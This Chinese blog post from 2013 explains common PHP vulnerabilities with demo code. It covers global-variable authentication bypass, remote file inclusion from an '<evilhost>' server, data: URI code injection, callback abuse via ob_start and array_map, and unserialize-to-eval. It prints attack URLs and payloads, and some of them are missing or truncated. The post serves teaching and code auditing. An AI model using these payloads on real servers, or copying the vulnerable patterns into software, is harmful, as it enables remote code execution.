Technology · 2013 年 2 月 21 日 0

PHP常见漏洞代码分析

本文来自:XSnake’s Blog
博客地址:Http://SBxx.Org
本文地址:http://sbxx.org/?p=385
开场白:
PHP,是英文超文本预处理语言Hypertext Preprocessor的缩写。PHP 是一种 HTML内嵌式的语言,是一种在服务器端执行的嵌入HTML文档的脚本语言,语言的风格有类似于C语言,而且PHP独特的语法混合了 C、Java、Perl 以及 PHP 自创的语法。PHP安装它可以比 CGI或者Perl更快速地执行动态网页。用PHP做出的动态页面与其他的编程语言相比,PHP是将程序嵌入到HTML文档中去执行,执行效率比完全生成HTML标记的CGI要高许多;PHP还可以执行编译后代码,编译可以达到加密和优化代码运行,使代码运行更快。PHP具有非常强大的功能,所有的CGI的功能PHP都能实现,而且支持几乎所有流行的数据库以及操作系统。最重要的是PHP可以用C、C++进行程序的扩展!

而且PHP是一种被广泛使用的脚本语言,尤其适合于web开发。具有跨平台,容易学习,功能强大等特点,据统计全世界有超过34%的网站有php的应用…包括baidu、soso、sina、163、sohu等大型门户网站。而且很多具名的web应用系统(包括Discuz、phpwind、phpbb、vbb、wordpress、boblog等等)都是使用php开发的。随着web安全的热点升级,php安全问题也逐步兴盛起来,越来越多的安全人员投入到这个领域。越来越多的应用程序代码漏洞被披露、针对这样一个状况,很多应用程序的官方都成立了安全部门。也就是这样的形势导致了一个局面:大公司的产品安全系数大大的提高,那些很明显的漏洞基本灭绝了!我们面对很多工具以及大牛扫描过n遍的代码,之后就有很多的自认为“安全”网站悲剧了…

所有本文就给介绍了一些常见的漏洞和大家分享。(废话有点多,呵呵见谅!)

另外在这里特别说明一下吐槽文里很多漏洞都是来源于大牛和朋友们的分享,在Bisec论坛先对他们说声谢谢!

正文:
全局变量

PHP中的变量不需要事先声明,它们会在第一次使用时自动创建,它们的类型根据上下文环境自动确定。从程序员的角度来看,这无疑是一种极其方便的处理方法。一旦一个变量被创建了,就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很少初始化变量。这个特点导致的结果就是程序员很少初始化变量,毕竟,当它们第一次创建时,他们是空的。
很显然,基于PHP的应用程序的主函数一般都是接受用户的输入(主要是表单变量,上载文件和Cookie等),然后对输入数据进行处理,然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易,实际上PHP是把这些输入数据看作全局变量来处理的。

例如:

<FORM METHOD=”GET” ACTION=”test.php”>

<INPUT TYPE=”TEXT” NAME=”hello”>

<INPUT TYPE=”SUBMIT”></FORM>

这会显示一个文本框和提交按钮。当用户点击提交按钮时,”test.php”会处理用户的输入,当”test.php”运行时,”$hello”会包含用户在文本框输入的数据。从这里我们应该看出,攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用”test.php”,而是直接在浏览器地址栏输入http://127.0.0.1/test.php?hello=hi&setup=no,那么,不止是”$hello”被创建,”$setup”也被创建了。

下面的用户认证代码暴露了PHP的全局变量所导致的安全问题:
PHP代码

1. <?php
2. if ($pass == “hello”)
3. $auth = 1;
4. …
5. if ($auth == 1)
6. echo “some important information”;
7. ?>

上面的代码首先检查用户的密码是否为”hello”,如果匹配的话,设置”$auth”为”1″,即通过认证。之后如果”$suth”为”1″的话,就会显示一些重要信息。

这段代码假定”$auth”在没有设置值的时候是空的,但是攻击者可以创建任何全局变量并赋值,通过类似”http://127.0.0.1/test.php?auth=1″的方法,我们完全可以欺骗这段代码,使它相信我们是已经认证过的。

因此,为了提高PHP程序的安全性,我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话,这可是一项非常艰巨的任务。

一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量,这依赖于我们的提交方式(GET或POST)。当PHP配置为打开”track_vars”选项的话(这是缺省值),用户提交的变量就可以在全局变量和上面提到的数组中获得。

但是值得说明的是,PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量,HTTP_POST_VARS数组用于处理POST方式提交的变量;HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量,而对于HTTP_POST_FILES数组(比较新的PHP才提供),则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数组中,因此一个安全的PHP程序应该检查这四个数组。

远程文件

PHP是一种具有丰富特性的语言,提供了大量的函数,使编程者实现某个功能很容易。但是从安全的角度来看,功能越多,要保证它的安全性就越难,远程文件就是说明这个问题的一个很好的例子:

<?php
if (!($fd = fopen(“$filename”, “r”))
echo(“Could not open file: $filename<BR>\n”);
?>

上面的脚本试图打开文件“$filename”,如果失败就显示错误信息。很明显,如果我们能够指定“$filename”的话,就能利用这个脚本浏览系统中的任何文件。但是,这个脚本还存在一个不太明显的特性,那就是它可以从任何其它WEB或FTP站点读取文件。实际上,PHP的大多数文件处理函数对远程文件的处理是透明的。

例如:

如果指定“$filename”为“http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”
则上面的代码实际上是利用主机target上的unicode漏洞,执行了dir命令。

这使得支持远程文件的include(),require(),include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容,并且把它们按照PHP代码解释,主要是用在库文件上。

例如:

<?php
include($libdir . “/languages.php”);
?>

上例中“$libdir”一般是一个在执行代码前已经设置好的路径,如果攻击者能够使得“$libdir”没有被设置的话,那么他就可以改变这个路径。但是攻击者并不能做任何事情,因为他们只能在他们指定的路径中访问文件languages.php(perl中的“Poison null byte”攻击对PHP没有作用)。但是由于有了对远程文件的支持,攻击者就可以做任何事情。例如,攻击者可以在某台服务器上放一个文件languages.php,包含如下内容:

<?php
passthru(“/bin/ls /etc”);
?>

然后把“$libdir”设置为“http://<evilhost>/”,这样我们就可以在目标主机上执行上面的攻击代码,“/etc”目录的内容作为结果返回到客户的浏览器中。

文件包含代码注射

文件包含函数在特定条件下的代码注射,如include()、include_once()、 require()、require_once()。

当allow_url_include=On ,PHP Version>=5.2.0 时,导致代码注射。

demo code 2.1:

<?php
include($_GET[‘a’]);
?>

访问http://127.0.0.1/include.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E 即
执行phpinfo()。

ob_start()函数的代码执行

demo code 5.1:
<pre lang=”php” file=”demo51.php” colla=”+”>
<?php
$foobar = ‘system’;
ob_start($foobar);
echo ‘dir’;
ob_end_flush();
?>
</pre>

5.2 array_map()函数的代码执行

demo code 5.2:

<pre lang=”php” file=”demo52.php” colla=”+”>
<?php
$evil_callback = $_GET[‘callback’];
$some_array = array(0, 1, 2, 3);
$new_array = array_map($evil_callback, $some_array);
?>
</pre>

我们提交 即执行phpinfo()。

 

unserialize()与eval()

unserialize()是PHP中使用率非常高的函数。不正当使用unserialize()容易导致安全隐患。
(黑哥那个挑战2 http://hi.baidu.com/hi_heige/blog/item/505b2828da5b18f499250a9b.html)

demo code 5.3:

<pre lang=”php” file=”demo53.php” colla=”+”>
<?php
class Example {
var $var = ”;
function __destruct() {
eval($this->var);
}
}
unserialize($_GET[‘saved_code’]);
?>
</pre>

我们提交 {s:3:%22var%22;s:10:%22phpinfo%28%29;%22;} 即执行phpinfo()。

容易导致安全问题的函数

同类型函数还有很多
array_map()
usort(), uasort(), uksort()
array_filter()
array_reduce()
array_diff_uassoc(), array_diff_ukey()
array_udiff(), array_udiff_assoc(), array_udiff_uassoc()
array_intersect_assoc(), array_intersect_uassoc()
array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc()
array_walk(), array_walk_recursive()
xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()
stream_filter_register()
set_error_handler()
register_shutdown_function()
register_tick_function()

 

 

(未完待续)